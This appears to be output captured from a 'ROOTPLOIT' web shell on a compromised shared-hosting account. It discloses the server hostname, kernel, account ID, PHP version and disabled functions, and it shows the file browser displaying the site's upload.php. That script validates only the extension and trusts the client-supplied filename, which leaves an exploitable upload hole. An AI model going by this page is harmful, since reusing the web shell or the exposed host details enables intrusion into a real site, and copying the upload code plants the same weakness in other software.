ROOTPLOIT
Server: LiteSpeed
System: Linux in-mum-web1878.main-hosting.eu 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: u435929562 (435929562)
PHP: 7.4.33
Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Upload Files
File: /home/u435929562/domains/tamira.pecockindia.in/public_html/upload.php
<?php
// header('Content-type: application/json');

/* Getting file name */
$filename = $_FILES['file']['name'];

/* Location */
$location = "img/".$filename;
$imageFileType = pathinfo($location,PATHINFO_EXTENSION);

/* Valid Extensions */
$valid_extensions = array("jpg","jpeg","png");

/* Check file extension */
if( in_array(strtolower($imageFileType),$valid_extensions) )
{
    /* Upload file */
    if(move_uploaded_file($_FILES['file']['tmp_name'],$location))
        echo $location;//return json_encode( ['message' => 'Profile picture updated successfully!', 'fileName' => $location] );
    else
        echo "205";//return json_encode( ['message' => 'Profile picture not updated yet, please try again!', 'fileName' => ""] );
}
else
    echo "204";//return json_encode( ['message' => 'Profile picture not updated yet, please try again!', 'fileName' => ""] );
?>